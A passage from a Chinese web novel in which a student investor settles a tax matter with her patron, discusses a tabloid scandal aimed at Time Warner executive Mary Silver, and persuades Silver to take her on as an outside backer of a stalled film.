心里的疑团越滚越大,菲伊没耽搁,立刻拨通了阿利斯泰尔的电话。 电话响了许久,没人接。 于是她又打给伊森。这回,很快就接通了。 “菲伊?怎么打电话过来,是遇到什么事吗?” “伊森,阿利斯泰尔现在有空吗?我有件要紧事要确认。” “实在不巧,他正在主持高层会议,短时间抽不开身。你有急事可以先和我说,我会后转达给他。” 菲伊索性不再绕弯,直接抛出心底的疑问:“是这样的,去年我借着他的账户操作原油套利,到手210万美金,这笔钱是税后,还是税前的?” 伊森顿了两秒,才回道:“严格来说,是税前,但原本应该缴纳的税款已经付过了,你不用担心。” 菲伊一愣:“已经缴过了?” “没错。”伊森说道,“这件事老板特意交代过,若是你问起,不需隐瞒,如实告知。当初那笔交易的开户主体是老板名下的机构账户,法定纳税义务人是他,而非你。 他旗下有专业的税务团队提前做了全套合规抵扣筹划,层层冲抵后,最终你的这部分钱只产生58.3万税款,这笔费用,已经统一由老板的机构支付了,所以没有分摊到你头上。” 听完这话,菲伊心头一震,原来不是免税,是有人悄悄替她扛下了这笔支出。她认真向伊森道过谢,挂了电话,揣着纷乱思绪回到家。 没一会儿,阿利斯泰尔的电话打了过来。 菲伊立刻接起听筒。 不等她开口,男人低沉磁性的嗓音先传了过来:“伊森刚散会就把你问他的事说了,垫付税款这点小事,你不必放在心上。 对我来说,五十多万并不算什么,更何况当初的原油行情,是你给出的精准判断,如果没有你的方案,我恐怕会错失这次机会,更不可能赚到数亿美金的收益。这笔税款,就当是付给你的咨询酬劳,理所应当。” 阿利斯泰尔大方,菲伊却不能心安理得地占人家便宜:“不,这是两件事,得一码归一码。当初你已经给过我10万美金的咨询费了,不是吗?后续你也帮了我不少忙,我已经承了你太多人情,不可能再白白让你替我承担几十万的税负。” 电话那头陡然安静下来,只剩细微的电流杂音。 片刻后,听筒里传来阿利斯泰尔低沉的笑声,他松口道:“好吧,既然你不肯承下这份人情,那我们换个方式。我眼下恰好有一件棘手的事,需要你帮个忙,如果这件事办成,这笔垫付的税款便一笔勾销,以后你我都不要再提起,你看如何?” “什么忙?” “放心,在你力所能及的范围内。” 87.第87章 就在菲伊一门心思扑在原油行情和中东战局时,华纳两大派系的斗争也开始摆上台面,藏都藏不住了。 这几日的各大八卦小报、娱乐周刊头条,全是时代华纳高层内斗的瓜,两边在舆论场上你来我往,撕得热火朝天。 最先爆出来的是华纳内部员工匿名控诉,直指玛丽滥用职权、私心太重,为了瓜分华纳影业的资源,硬生生把自己的弟弟乔治安插进核心影业板块,靠着华纳的平台抢项目、捞资源。 爆料里还声称乔治利用影视项目拍摄的便利做账套利,挪用项目经费,相关高层已经正式向董事会发起质询,要求彻查账目。 风声刚放出来没两天,玛丽派系的反击立刻跟上。 先是公开否认所有抹黑指控,直言这全是有人在恶意构陷。 乔治手里的制片项目和签约剧本,全是他自己凭能力拿下的合作,从来没有侵占华纳内部资源,反倒靠着这些项目给华纳实打实赚了不少利润。 所谓财务作假、中饱私囊的说法,完全是凭空捏造,没有半分实质性证据。 紧跟着,一大批因为华纳项目停摆而全面停工的剧组人员集体发声,纷纷控诉华纳高层为了派系权斗肆意滥用职权,罔顾从业者生计,硬生生断掉所有人的工作和收入。并放话要联名起诉华纳单方面违约、恶意停工。 不止如此,不少业内知名导演、金牌制作团队也公开表态,释放出极强的站队信号,直言要暂缓所有和时代华纳的新片、剧集合作谈判,如果华纳的乱象持续下去,他们可能会考虑转向派拉蒙、环球等竞品公司。 明眼人都知道,这是玛丽一系正式反击了。 她想要借着舆论和行业压力,逼斯蒂芬一系收敛气焰,不敢再肆意打压她名下的项目。一旦头部导演、制作团队真的集体出走、转投对手阵营,华纳不仅要丢尽行业口碑,即将到来的上市估值也会遭受重创。 到时候董事会绝对会追责问责,斯蒂芬等人根本扛不住这份代价。 然而,就在外界以为玛丽一方开始占上风时,未曾想,几天后的一个爆料,差点把玛丽·西尔弗推入万丈深渊。 …… 这日中午,菲伊来到校园餐厅吃饭,刚找位置坐下,便发现周围的学生都凑成一团,个个眉飞色舞,压低声音交头接耳,脸上全是八卦的兴奋劲儿。 莉亚端着托盘挤过来,把盘子往对面一放,抬手在她眼前晃了晃:“看什么呢?” “没什么。”菲伊摇头,扫了圈四周,“就是有些好奇,他们都在聊什么?学校又出什么新鲜八卦了?” “不是学校的事,是校外,但比校园八卦劲爆多了。”莉亚撇撇嘴,侧身从邻桌同学手里借来一份皱巴巴的小报,摆到菲伊面前。 “喏,你瞧,今早刚出的大新闻,全校都传疯了。《星报》、《环球报》头版,连《美国周刊》都紧急加更了,全都在说同一件事。” 菲伊垂眸扫了一眼,只见那行加粗的黑色标题写着: 【时代华纳女CEO深陷性丑闻,两名男下属实名举报长期性骚扰。】 “说的就是时代华纳的那位玛丽·西尔弗。” 莉亚解释道,言语中没有半分聊八卦的雀跃,反倒透着明显的不耐与反感。 “报上说她掌权这几年,利用职权跟好几个男下属不清不楚,这次直接跳出来两个人实名指证,连时间地点都说得有鼻子有眼的,直接把上周那个当红小生劈腿的瓜都盖过去了。” 她冷哼一声,继续道,“好莱坞不缺绯闻,但性丑闻不一样,只要有人站出来说一句话,不需要物证,只要‘有受害者发声’这个印象传出去,公众的联想就会自己补完全部细节。成本低,见效却最快。那些八卦小报最擅长玩这套把戏。” 菲伊对此深以为然,点头附和:“没错。这招对付女性上位者,尤其有效。男人被指控滥用职权骚扰下属,大家只会骂他私德败坏,很少会去质疑他‘凭什么坐这个位置’。 可女人被指控呢?大家第一反应永远是‘她是不是靠这个爬上去的’。直接把她多年的资历、拼出来的实绩,全归结成了性/交易的筹码。” “对,就是这个道理!”莉亚听得心头一震,一脸愤慨,“明明是同样性质的指控,落到女性身上,就自动从‘这个人有问题’,变成了‘女人掌权果然靠不住’。真是太不公平了!” 是不公平。 菲伊默然,可她们又能如何呢? 要知道,这套双重标准,即使再过30年,一样没变。 话说回来,这个丑闻出现的时间这么巧,多半是对手使的阴招吧? 不管能不能坐实这个丑闻,只要投资圈和董事会对玛丽·西尔弗的能力产生质疑,别说坐稳华纳CEO的位置了,她的职业生涯恐怕会就此终结。 对方这是想彻底毁了她啊。 只是菲伊仍有一点疑惑:一个华纳的高管,就算再有权有势,可对于这群高中生来说,吸引力远没有好莱坞明星大,怎么学校里的讨论度会这么高? 她心里这么想着,顺口就问了出来。 莉亚一脸“你消息也太滞后”的表情:“你不知道吗?她是菲利普·西尔弗的母亲啊!” 菲伊愣了愣,还是没太跟上思路:“我知道,可这和全校议论有什么关系?” “菲利普的人气很高。”莉亚耸耸肩,“不,应该说断层第一。长相英俊,击剑队的队长兼绝对主力,家世又好,是许多女生心中的白马王子。当然了,看不惯或嫉妒他的人也不少。 这事一爆出来,他的拥护者和反对者直接吵开了,闹得沸沸扬扬,想听不到都难。” 菲伊一脸恍然,很快又皱起眉:“在没有实质性的证据出现之前,仅凭一面之词就下定论,未免太过草率了。” 更何况……她的目光落在报纸角落那两个举报者的正面照上,面带嘲讽,“你再看这两男的,一个秃头,一个啤酒肚,都四十好几的人了,也就混到个中层岗位。 以西尔弗女士的身份、眼界和地位,真能瞧得上他们?她真要有这心思,好莱坞里的年轻男模、男演员一抓一大把,何苦挑两个对自己价值不大,还随时可能反咬一口的下属下手?根本说不通。” 莉亚当即重重点头:“对对对!我就说看到这新闻时,总觉得哪里违和,可不就是这么回事嘛!这分明就是有人在栽赃陷害!” 菲伊轻轻叹了口气,把报纸往桌边推了推:“可惜大多数人根本没兴趣探究真相,就爱凑个猎奇的热闹,嚼个舌根。这招看着漏洞百出,实则很管用。” 88.第88章 午饭后,菲伊没返回拥挤的教学楼,而是绕到图书馆后侧的梧桐林荫道,找了张僻静的长椅打算午休片刻。 没过一会儿,就看见一道身影从树影深处走了出来。 是菲利普·西尔弗。 他显然也没料到会在这里遇见菲伊,脚步一顿,脸上掠过一丝猝不及防的错愕,随即又恢复平静。 他眼下带着淡淡的青黑,脸上不见平日里的闲适与漫不经心,取而代之的无法遮掩的疲惫。 “好巧。”菲伊率先开口,看着他这副样子,轻声问了句,“乔治先生他们……还好吗?” “就那样,不好不坏。”菲利普扯了扯嘴角,沉默了几秒后,看向菲伊,“早上的新闻,你看到了吧?” 菲伊有点意外他会主动提及,随即点了点头,没随意发表意见。 “你也相信报纸上那些鬼话?”他的声音有点发哑,视线落在脚边的地砖上,指节悄悄攥紧,像是在极力压着某种情绪。 “不。”菲伊答得平静又干脆,“我不会仅凭几句捕风捉影的话,就判定一个人的对错。” 菲利普的眼底闪过一丝明显的意外。 “那两个人……都是我母亲一手提拔起来的。从底层文员一步步拉到管理岗,她从来没亏待过他们半分。” 他喉结滚了滚,面上带着浓浓的嘲讽,“结果转头就从背后捅了母亲一刀!” 风卷着梧桐叶沙沙作响,林荫道里安静了片刻。 菲伊静静立在原地,没有接话,也没有出声安慰。她知道这种时候,所有轻飘飘的劝解和苍白的共情,在实打实的伤害面前,都毫无意义。 良久,菲利普紧绷的肩膀微微垮了下来,他低头自嘲地扯了扯唇角。 他自己都觉得荒唐。 明明和菲伊只匆匆见过两次面,算不上熟识,更谈不上交心,可方才情绪上头,竟一股脑把家里最难堪的处境全盘托出。 他刚才甚至隐隐期待,能从对方这里得到一丝慰藉,或是一点微弱的支撑。 真是幼稚又愚蠢。 外人本就没有义务共情他的困境,更不可能帮他分担这场波及整个家族的风暴。 菲利普迅速敛去眼底所有的脆弱,丢下一句“我先走了”,转身就要离开。 “等等。” 清冷的女声在身后响起。 菲利普脚步一顿,回头望去。女孩站在树荫下,斑驳的光影落在她的身上,明明灭灭,衬得她眉眼深沉,神色晦暗不明。 她唇瓣轻抿,迟疑了两秒,才轻声开口:“我……” 菲利普不解:“你想说什么?” 菲伊抬眸:“西尔弗女士最近有空吗?我想见她一面。” 菲利普愣住,压根没料到她会提出这样的请求:“你想见我母亲?为什么?” 菲伊思忖着回答道:“或许,我能帮到她。” 这话一出,她心底的那点摇摆开始消散,取而代之的是清醒与决断。 在此之前,出于趋利避害的心态,她本能地想要远离华纳的派系斗争,不想蹚这趟浑水。 可中午和莉亚的一番讨论,突然让她产生了一种前所未有的危机感。 因为她再也不是前世那个可以安稳度日的普通人了。 从她投资《落水狗》、半只脚踏进好莱坞影的一刻起,她注定迟早要卷入了这个名利场的纷争中。这里的资本博弈、权力倾轧、舆论构陷,从来不会因为她低调和退让,就对她手下留情。 如果没有系统的天价债务,她大可以按部就班地读书、工作,甚至未来还能回到华国,回到自己熟悉的环境中。哪怕没有未来记忆的加持,她也有信心把日子过好。 可现在不行。 她必须以最快的速度积累海量资本,必须在资本圈中站稳脚跟。 这注定她只能逆势而上,从资本大鳄的口中夺食,在残酷的权力博弈里,杀出一条生路。 但她的天然劣势实在太多了。 亚裔、女性、孤儿、无背景无靠山……因此,在她可以真正独当一面前,她需要盟友,需要助力。 以前的阿利斯泰尔是一个。 而现在的玛丽·西尔弗,又何尝不能成为她的新助力呢? 她想要从好莱坞资本圈分一杯羹,此刻深陷舆论危机和派系打压的玛丽·西尔弗,正是绝佳的突破口。 锦上添花人人愿,雪中送炭无人行。 她要做的,就是这个“送炭人”。 菲伊的心脏压制不住地“怦怦”狂跳,她清楚,这个决定极具风险。 她不了解玛丽的品性,无法预判这次站队的收益与危机,但她无比确定,自己必须踏出这一步。 另一头的菲利普,在听到少女“我能帮忙”的回答时,心中不由生出一股被戏弄的愠怒。 质问的话几乎要脱口而出——你一个还在上学的高中生,拿什么帮我母亲?! 可话到嘴边,他撞上菲伊的眼神。 没有看热闹的轻佻,没有戏弄人的恶意,只有全然的认真。 他硬生生将满腔质疑咽了回去,沉声道:“你是认真的?” 菲伊轻轻颔首:“嗯,我是认真的。” 菲利普盯着她看了几秒,心绪翻涌不定。 他和菲伊交集寥寥,但仅有的两次相处,这女孩始终冷静通透、分寸有度,不像喜欢捉弄人的性格。 虽然他仍不相信对方真的能帮到母亲,却鬼使神差地松了口:“她今晚回家吃饭,我可以带你去见她。” 89.第89章 傍晚时分,菲利普开车载着菲伊驶入比弗利山庄一处安静的独栋宅邸。 屋内装饰不是想象中豪宅常见的华而不实,而是九十年代流行的美式复古风。 米灰色肌理墙面和大理石地砖,搭配酒红色暗纹软装和樱桃木家具。客厅挑空,北面是大落地窗,南面靠墙位置矗立着一个通顶的实木藏书柜,摆满各类影视著作、与剧本,角落点缀几盆长势舒展的白兰花,黄铜台灯散出暖融融的柔光,处处透着温馨与雅致。 两人在客厅沙发落座没一会儿,玄关便传来门锁转动的声音。 玛丽·西尔弗推门走进来,菲利普已提前打电话说了菲伊要来,因此见到人,她脸上并无意外。 与第一次见面时略带病容不同,此刻的她眉眼舒展,妆容精致得体,瞧不出半分颓靡憔悴,似乎未受外界漫天丑闻的影响。 “菲伊,欢迎。”玛丽唇角扬起温和的笑意,主动上前轻轻抱了抱她,“菲利普和我说了你的来意,不必拘束,家里就我们母子二人,正好一起吃顿便饭。” 菲伊轻声道谢。 餐厅里早已备好了晚餐。每人的座位前摆了一份炙烤西冷,外皮焦香入味,肌理油亮,配菜是软糯的蜜薯与烤芦笋,此外还有一碗油醋蔬菜沙拉,以及小份的奶油意面。没有花哨的菜色和摆盘,却很适口。 席间母子俩默契避开外界风波,只聊学校、击剑比赛这些轻松琐事,玛丽谈吐风趣,没有摆出长辈的架子。菲伊安静听着,偶尔搭一两句话,气氛意外地温馨平和。 一顿饭吃完,菲利普说有事要忙,主动去了二楼,给两人留出独处空间。 玛丽引着菲伊来到客厅沙发坐下,然后走到吧台:“咖啡还是茶?” “茶,谢谢。” 给菲伊泡好红茶后,玛丽在菲伊对面的沙发坐下,神色褪去席间的温和客套,多了几分上位者的锐利。 她抬眼看向菲伊,开门见山道:“菲利普说,你有事要和我谈?是想聊《猎刃追凶》的拍摄事宜?” 菲伊迎上她的视线,不卑不亢回道:“是,也不是。” 玛丽眉梢微挑,眼底掠过一丝讶异:“哦?不妨仔细说说。” 菲伊缓缓开口:“前几天我碰到了维克斯兄弟,从他们那里听到些消息。据传项目最后会交到杰拉德·范德比尔特手上,他还另找了编剧大刀阔斧重写剧本。 我看过原版剧本,如果顺利拍出来,会是一部不错的电影,就这样被改掉太可惜了。从投资者的角度来看,只要完整保留原有剧情,打斗戏份和后期制作不出纰漏,不说票房大卖,盈利的几率很大。” 听到“投资者”三个字,玛丽明显一愣,眼底带着几分意外:“投资者?你?” 菲伊轻轻点头:“我名下有一家刚创立的投资公司,之前已经全额投了一部独立小成本影片。如果您愿意,我可以放弃演员片酬,将这笔酬劳折算成投资款,再额外追加一笔资金,联合参投《猎刃追凶》。” 玛丽看得出她并非随口说笑,神色严肃起来:“你一共能拿出多少资金入局?” “片酬折算加上额外现金,合计180万美金。” “180万?”玛丽低笑一声,“你清楚这部影片整体投资规模吗,总预算2400万。虽说不算大制作,但在华纳内部也属于中等水平。” 她往沙发后背一靠,毫不客气道:“180万,连总额的十分之一都达不到,这点钱能有什么用?” 菲伊抿了口茶,放下杯子,不疾不徐地开口:“单看数额确实不多,但用来打破当下的僵局,已经足够了。 眼下这部片子因为华纳内部审计风控,原有资金被冻结,开机被推迟,可我这180万属于外部资本,不计入时代华纳财报核算。 集团审计委员会只能查看资金流水,没有冻结款项的权力,更重要的是——” 她刻意顿了顿,直视玛丽的眼睛,“无论是谁,都无权拒绝这笔外部注资。有外部资本看好并主动出钱盘活华纳的停滞项目,对正在筹备上市的集团而言是实打实的利好,没人敢公开阻拦。” 玛丽原本靠着沙发的身子缓缓坐直,唇角浅扬,显然她听懂了菲伊的言外之意:“OK,请接着说。” 菲伊:“据我所知,好莱坞院线长片开拍,必须绑定完工保险公司,只有保险公司判定项目资金没问题、风险可控,才愿意出具保单,影片才能顺利支取院线、海外版权的预售款。 之前项目停工、叠加内部审计丑闻,所有金融机构都认定本片风险超标,拒绝对其承保,原本敲定的800万海外预售回款也因此无法到账。” 她抬眼看向玛丽,十分肯定地说道,“只要我的资金注入,再由您出面提供信用担保,搁置许久的800万海外版权预售款,就能立刻打入华纳专属项目隔离账户。 这笔回款才是填补资金缺口的核心主力。担保落地、海外版权资金到位后,项目整体风险会大幅降低,后续拍摄途中,还能依靠北美录像带预售、有线电视台预购,以及新增海外版权销售分批补齐剩余预算,彻底解决资金缺口问题。” 玛丽瞳孔微缩,眼底的轻视渐渐褪去。 她原先只当菲伊是担心项目流产,替维克斯兄弟打抱不平,所以一时头脑发热想逞英雄。不曾想对方竟然把里面的弯弯绕绕研究得如此透彻。 “倒是我小瞧你了。”玛丽低叹。 话音刚落,她的神色骤然一敛,锐利的目光直直射向菲伊:“你的思路的确没有问题,但你想过吗,乔治的项目为什么突然被冻结?我又为什么被爆出丑闻?” “我知道啊。”菲伊淡淡一耸肩,“无非就是权力厮杀而已。成者为王,败者为寇。” “说得倒是轻巧。” 玛丽身子微微前倾,眼中锋芒逼人,“我一旦给你担保,你的钱进组,你就等于明晃晃站到我这边,到时你就会成为众矢之的!那群人针对你的手段,只会比现在对付乔治更狠。 这不是演电视剧,更不是小孩子过家家,你根本想象不到,将会遭遇怎样的狂风暴雨!” 菲伊深吸一口气,迎上玛丽极具压迫感的视线,没有半分躲闪:“这就是我今天来找您的第二个目的。我看好《猎刃追凶》不假,但我真正要下注的,是你,西尔弗女士。” 玛丽闻言一怔,紧跟着放声大笑,笑得肩头微颤,连眼角都笑出了泪花。 半晌,她收住笑声,看向菲伊的眼神中,多了几分难以置信的兴味:“小姑娘,口气真够大!” “多少年了,圈内狂妄者有之,趋炎附势者更甚,却从没有人敢跟我说这种话。万万没想到,我今天居然从一个高中生嘴里听见。 有意思,实在太有意思了!” 即使被玛丽这么一通打趣调侃,少女脸上不见丝毫窘迫羞恼,依旧沉静从容。 玛丽眉峰一挑,指节一下下轻叩沙发扶手,沉吟道:“行,那你好好说说,怎么个下注法? 菲伊抬眸,迎向对方审视的目光,没有隐瞒自己的短板,坦言道: “我之前说过,我已经投了一部独立影片,这不是一时兴起的玩票,而是决心要进好莱坞分一 杯羹。可你也清楚,想要在好莱坞投电影不难,可想要拿到优质项目,对于我这种毫无背景的小人物来说,却难如登天。 如果没人引路,光是打通渠道、争抢项目,就要空耗数以年计的光阴,而且到最后,可能仍然连入场券都拿不到。而你,是我最合适的引路人。” 玛丽淡淡一笑:“恐怕你要失望了。我虽是华纳的CEO,但分管的不是影业板块,而是《时代》、《财富》、《娱乐周刊》一众纸媒与影音出版业务。更何况现在丑闻缠身,我能不能坐稳这个位置都是未知数,你把筹码压在我身上,恐怕到头来只会竹篮打水一场空。” 却见菲伊微微勾了勾唇,眼底藏着笃定:“正因你身处危机,我才有机会坐在这里,你才肯静下心听完我一个高中生大放厥词。若是你此刻大权在握、一帆风顺,恐怕我连见你一面的资格都没有。” 玛丽换了个放松些的坐姿,缓缓点头:“这话有几分道理,但不足以说服我。” “不知你有没有听过华国的一个成语,叫奇货可居。” “哦?说来听听。” 于是,菲伊用最浅显易懂的方式,将吕不韦通过资助落难秦异人,博取滔天权势的典故讲了一遍。 玛丽听完,眼底的玩味褪去,目光沉沉地望向菲伊,反问:“所以你自认是吕不韦,如今身陷泥潭的我,就是那个落难的秦异人?” “没错。”菲伊应得干脆,“只要你能赢下这场战争,坐上华纳一把手的位置,影视项目、海外版权、行业资源,对你而言再也不是难题,届时我的投资、我的入场通道,自然水到渠成。” “是吗?” 玛丽沉默片刻,抬眸直视菲伊,毫不客气地指出:“就算我是你口中的秦异人,可你未必配做吕不韦。 我在好莱坞深耕数十年,人脉、资本渠道数不胜数,只要开口,有大把手握巨额资金的优质合作者,我何必去选一个只能注资180万的你?” 菲伊半点不慌,胸有成竹道:“和那些老牌投资方比起来,我的资金确实不够看。但是,我的身份背景足够清白,经得起查。 我不属于华尔街固有资本圈层,也不受好莱坞各大制片厂人脉利益捆绑。我全部资金都来自金融市场交易收益,账目合法透明,没有任何灰色操作痕迹,审计、监管、董事会……无论谁来翻查,都挑不出漏洞。” 见玛丽静静听着,没有打断她的意思,菲伊抛出最后一个筹码: “更重要的是,你和乔治如今站在舆论风口,正接受内部审查,如果主动出面招揽外部投资,属于严重违规行为,会被对手抓住把柄彻底定罪,断送翻盘的机会。” “至于那些手握重金的投资者,若真心想帮你解围,早在项目冻结的第一时间就递上橄榄枝了,哪还会眼睁睁看着你被动至此? 那群老狐狸个个精于算计,最懂得趋利避害,眼下局势不明,你又暂处下风,没人会提前买股。放眼整个好莱坞,只有我,敢在所有人观望退缩时,主动带着真金白银站到你这边。 所以——” 她稍作停顿,与玛丽四目相对,一字一顿道: “我是无可替代的。” 说出这句话时,少女眼中神采飞扬,一身自信锋芒尽数展露,宛如一柄敛藏许久、终于出鞘的利刃,锐气逼人。 玛丽暗赞一声,眼底的轻视彻底消散,取而代之是浓烈的认同与欣赏。 “好一个无可替代!” 她豁然起身,主动朝菲伊伸出右手,目光灼灼,“恭喜你,女孩,你成功说服了我。”